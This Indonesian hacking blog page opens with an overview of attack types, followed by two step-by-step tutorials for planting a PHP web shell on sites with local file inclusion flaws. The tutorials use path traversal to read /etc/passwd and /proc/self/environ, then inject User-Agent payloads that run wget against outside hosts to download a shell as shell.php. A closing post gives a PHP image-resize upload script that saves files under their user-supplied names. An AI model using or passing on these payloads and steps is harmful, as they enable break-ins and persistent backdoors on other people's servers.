Domain Gratis

Jumat, 30 April 2010

Cara - cara seorang hacker membobol dan merusak website


Seorang dedemit maya alias hacker dapat menembus ataupun menyusup suatu website dengan melakukan berbagai cara. mulai dari cara yang sangat ringan hingga cara - cara yang sangat rumit. namun bagi seorang hacker kesulitan bukanlah sebuah hambatan dalam melakukan serangan terdadap situs - situs yang di incarnya. pada dasarnya menjadi sorang hacker tidaklah terlalu sulit. asal memiliki keamauan yang tinggi untuk mempelajari teknik - teknik hacking. disini saya akan memberikan sedikit informasi bagaimana cara - cara seorang hacker dapat menyusup dan masuk ke sebuah situs atau website.

Teknik - teknik dibawah ini yang paling banyak digunakan oleh seorang Hacker :

1. IP Spoofing

IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C. IP Spoofing terjadi ketika seorang attacker ‘mengakali’ packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker.

2. FTP Attack

Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang. Tidak pernah atau jarang mengupdate versi server dan mempatchnya adalah kesalahan yang sering dilakukan oleh seorang admin dan inilah yang membuat server FTP menjadi rawan untuk dimasuki. Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce attack (menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff informasi yang berada dalam sistem.

3. Unix Finger Exploits

Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk melakukan informasi tentang footprinting, termasuk nama login dan informasi contact. Utility ini juga menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha cracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ‘memberitahu’ password dan kode akses terhadap system.

4. Flooding & Broadcasting

Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan dinamakan flooding, kadang hal ini juga disebut spraying. Ketika permintaan flood ini dikirim ke semua station yang berada dalam network serangan ini dinamakn broadcasting. Tujuan dari kedua serangan ini adalah sama yaitu membuat network resource yang menyediakan informasi menjadi lemah dan akhirnya menyerah. Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.

5. Fragmented Packet Attacks

Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash. Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk menulis ulang informasi paket pertama dari suatu protokol.

6. E-mail Exploits

Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode (malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function).

7. DNS and BIND Vulnerabilities

Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis yang diarahkan pada operasi dasar dari Internet (basic internet operation).

8. Password Attacks

Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP. Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh password. Ketika seorang attacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, cracking dan sniffing.

9.Proxy Server Attacks

Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network. Dalam kebanyakan kasus, tiap host mempunyai kekuasan untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya lakukan dalam sistem saya akan bisa juga saya lakukan dalam system anda dan sebaliknya.

10. Remote Command Processing Attacks

Trusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network). Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya.

11. Remote File System Attack

Protocol-protokol untuk tranportasi data –tulang punggung dari internet— adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file.

12. Selective Program Insertions

Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor.

13. Port Scanning

Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.

14.TCP/IP Sequence Stealing, Passive Port Listening and Packet

Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.

15. HTTPD Attacks

Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods.
HTTPD Buffer Overflow bisa terjadi karena attacker menambahkan errors pada port yang digunakan untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang attacker akan memasukkan string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan attacker akses ke command prompt.

16. Remote File Inclusion (RFI)
Metode yang memanfaatkan kelemahan script PHP include(), include_once(), require(), require_once() yang variabel nya tidak dideklarasikan dengan sempurna. Dengan RFI seorang attacker dapat menginclude kan file yang berada di luar server yang bersangkutan.


17. Local File Inclusion (LFI)
Metode yang memanfaatkan kelemahan script PHP include(), include_once(), require(), require_once() yang variabel nya tidak dideklarasikan dengan sempurna. Dengan LFI seorang attacker dapat menginclude kan file yang berada di dalam server yang bersangkutan.

18. SQL injection
SQL injection adalah teknik yang memanfaatkan kesalahan penulisan query SQL pada suatu website sehingga seorang hacker bisa menginsert beberapa SQL statement ke ‘query’ dengan cara memanipulasi data input ke aplikasi tersebut. sql injection merupakan teknik lawas namun paling banyak digunakan oleh para dedemit maya.


19. Cross Site Scripting (XSS)
XSS dikenal juga dengan CSS adalah singkatan dari Cross Site Scripting. XSS adalah suatu metode memasukan code atau script HTML kedalam suatu website yang dijalankan melalui browser di client.


Selanjutnya...

Tutorial Upload Shell Target LFI Dengan Tamper Data

Sebelum nya sorry klw udah ada threat yg sama seperti ini..
tapi saya memberanikan diri untuk membuat threat tutorial ini..setelah saya meminta izin sebelum nya , dan salah satu moderator telah mengijinkan..

ok kita langsung saja..
yang mau saya share di sini ialah tutorial or cara mengupload shell dari target LFI dengan Tamper Data.

########################################

fucking the Web Apps [LFI attack edition]

____ __ __ __
/\ _`\ /\ \ __ /\ \__/\ \
\ \ \L\_\__ __ ___\ \ \/'\ /\_\ ___ __ \ \ ,_\ \ \___ __
\ \ _\/\ \/\ \ /'___\ \ , < \/\ \ /' _ `\ /'_ `\ \ \ \/\ \ _ `\ /'__`\
\ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\ __/
\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
\/_/ \/___/ \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
/\____/
\_/__/
__ __ __ ______ Author: eidelweiss
/\ \ __/\ \ /\ \ /\ _ \
\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \ _____ _____ ____
\ \ \ \ \ \ \ /'__`\ \ '__`\ \ \ __ \/\ '__`\/\ '__`\ /',__\
\ \ \_/ \_\ \/\ __/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
\ `\___x___/\ \____\\ \_,__/ \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
'\/__//__/ \/____/ \/___/ \/_/\/_/\ \ \/ \ \ \/ \/___/
\ \_\ \ \_\
\/_/ \/_/

-=[ upload Shell via Target LFI dengan Tamper Data ]=-

1 - Pendahuluan
2 - Mencari Target LFI
3 - Memeriksa apakah proc / self / environ dapat diakses
4 - Mengupload code shell injection
5 - Akses shell or backdoor kita

=[1]= Pendahuluan

Dalam tutorial ini saya akan coba menunjukkan bagaimana Mencari or mendapatkan target LFI , setelah itu bagai bagaimana kita memanfaat kan target tersebut dan mengupload shell injection (backdoor) kedalam nya.

=[2]= Mencari Target LFI
=> Sekarang saya akan coba memberikan sample or contoh bagaimana cara menemukan target LFI , lets check it.
example: http://www.target.com/index.php?page=blablabla

=> sekarang kita coba mengganti file setelah ?page= (blablabla) dengan ../
example: http://www.target.com/index.php?page=../

Jika kita mendapatkan pesan error seperti ini:
Code:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1330

website or target tersebut kemungkinan besar can be attack with LFI

untuk memastikan nya kita masuk ke step berikut nya yaitu mencoba meng access file /etc/passwd , for this step Lets make a request:

example: http://www.target.com/index.php?page=../...etc/passwd

jika kita masih mendapat kan pesan error yg sama seperti di atas , berarti kita perlu or coba menambahkan beberapa directory (../../) lagi sampai pesan error hilang dan kita success meng access or menampilkan isi dari file /etc/passwd

contoh klw success akan muncul seperti ini:
Code:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

=[3]=Memeriksa apakah proc/self/environ dapat diakses

sekarang mari kita periksa atau check apakah proc/self/environ dapat di access dengan cara mengganti /etc/passwd dengan proc/self/environ

contoh: http://www.target.com/index.php?page=../...etc/passwd <= change etc/passwd with proc/self/environ

it will be like this: http://www.target.com/index.php?page=../...lf/environ

jika success atau proc/self/environ dapat di access , maka kita akan mendapat pesan seperti berikut:

[code]DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.website.com Port 80[code]

jika gagal atau blank atau error berarti proc/self/environ tidak dapat di access

NB: kemungkinan lain yg menyebab kan proc/self/environ tidak dapat di access ialah web or target kita menggunakan OS (operating system) FreeBSD

=[4]= Mengupload code shell injection (backdoor)

Di step ini kita akan mencoba mengupload shell injection (backdoor) kita ke dalam target yg tadi atau target yg proc/self/environ dapat di access.
Bagaimana caranya ?
Di sinilah peran Tamper data di perlukan.Apa itu Tamper Data ?

NB: Tamper data ialah salah satu Add-ons pada browser mozila yg dapat kita gunakan untuk mengganti user agent atau HTTP Header.

Bagaimana cara menggunakan nya ?
Download dan install terlebih dahulu Tamper Data pada Add-ons mozila anda download here => https://addons.mozilla.org/en-US/firefox/addon/966

setelah tamper data di install , buka tamper data dan pada User-Agent masukan command code sebagai berikut:

Code:

<?system('wget http://arizonafusion.com/wp-content/r58.txt -O shell.php');?>

NB: arizonafusion dapat anda ganti dengan link injection anda sendiri jika anda punya atau tidak ingin memakai injection tersebut

command code tersebut akan men-download file r58.txt dari arizonafusion.com dan otomatis tersimpan dengan nama shell.php.
jika tidak bekerja coba exec () karena sistem () dapat dinonaktifkan pada webserver dari php.ini

=[5]= Check or Akses shell backdoor kita

Sekarang mari kita periksa apakah script shell (backdoor) kita berhasil atau tersedia pada web target tadi dengan cara membuka:

www.target.com/shell.php

Jika success maka kita akan melihat tampilan backdoor shell kita

This Tutorial is writen for educational purpose only , Author will be not responsible if any damage.


Selanjutnya...

Tanam Shell via LFI dengan Metode Proc/Self/Environ


Dalam tutorial hacking kali ini saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ, hal ini telah dibahas sebelumnya di website milw0rm pada paper ke 361.
Ok kita langsung saja…

1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI.

contoh : http://site.com/info.php?file=news.php

2. coba kita ganti “news.php” dengan “../../../”.

contoh : http://site.com/info.php?file=../../../

lalu kita mendapat error, seperti berikut…

Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.

contoh : http://site.com/info.php?file=etc/passwd
Tetapi kita masih mendapat error seperti berikut :

Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

bagaimana jika kita naikan directorynya ?
mari kita coba…

contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd

Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”

contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ

Jika anda mendapatkan yang seperti ini :

DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD

4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :

<?system(’wget http://r57.gen.tr/c100.txt -O shell.php’);?>

atau

<?exec(’wget http://r57.gen.tr/c100.txt -O shell.php’);?>

lalu submit.

5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.

http://www.site.com/shell.php

happy hacking !


Selanjutnya...

Sabtu, 24 April 2010

Merubah Ukuran Gambar/Foto dengan Script PHP

Bila kita membuat situ, terkadang kita mengijinkan anggota dari situs kita agar dapat mengupload gambar maupun foto, misalnya saja situs tentang jual beli.

Namun terkadang kita memiliki kendala dengan ruang hardisk kita yang kita beli untuk hosting situs kita, sehingga jika ada anggota yang melakukan upload gambar atau foto dengan ukuran yang besar maka itu akan menjadi masalah serius bagi kita.

Ada beberapa cara yang bisa kita lakukan

1. Membatasi besar file yang di upload
Cara seperti ini digunakan oleh banyak situs, sehingga jika ada naggota ingin mengupload gambar atau foto, maka dia harus melakuan editing terhadap gambar tesebut agar ukurannya bisa memenuhi persyaratan yang ditentuksn, permasalahannya, tidak semua orang mengerti dengan ukuran file, dan cara ini sangat merepotkan pengguna.
2. Merubah Otomatis gambar / foto yang di upload
Nah, cara inilah yang paling effektif, sehingga pengguna tidak lagi direpotkan dengan edit mengedit foto atau gambar.

di bawah ini contoh script PHP untuk melakukan editing gambar secara otomati

Bagian 1 (Form Upload)

<form action=”upload.php” method=”post” enctype=”multipart/form-data” >
<input type=”file” name=”uploadfile”/>
<input type=”submit”/>
</form>

Bagian 2 (Script Eksekusi Form)

<?php
// This is the temporary file created by PHP
$uploadedfile = $_FILES['uploadfile']['tmp_name'];

// Create an Image from it so we can do the resize
$src = imagecreatefromjpeg($uploadedfile);

// Capture the original size of the uploaded image
list($width,$height)=getimagesize($uploadedfile);

// For our purposes, I have resized the image to be
// 600 pixels wide, and maintain the original aspect
// ratio. This prevents the image from being “stretched”
// or “squashed”. If you prefer some max width other than
// 600, simply change the $newwidth variable
$newwidth=600;
$newheight=($height/$width)*600;
$tmp=imagecreatetruecolor($newwidth,$newheight);

// this line actually does the image resizing, copying from the original
// image into the $tmp image
imagecopyresampled($tmp,$src,0,0,0,0,$newwidth,$newheight,$width,$height);

// now write the resized image to disk. I have assumed that you want the
// resized, uploaded image file to reside in the ./images subdirectory.
$filename = “images/”. $_FILES['uploadfile']['name'];
imagejpeg($tmp,$filename,100);

imagedestroy($src);
imagedestroy($tmp); // NOTE: PHP will clean up the temp file it created when the request
// has completed.
?>

Sekian semoga beranfaat.


Selanjutnya...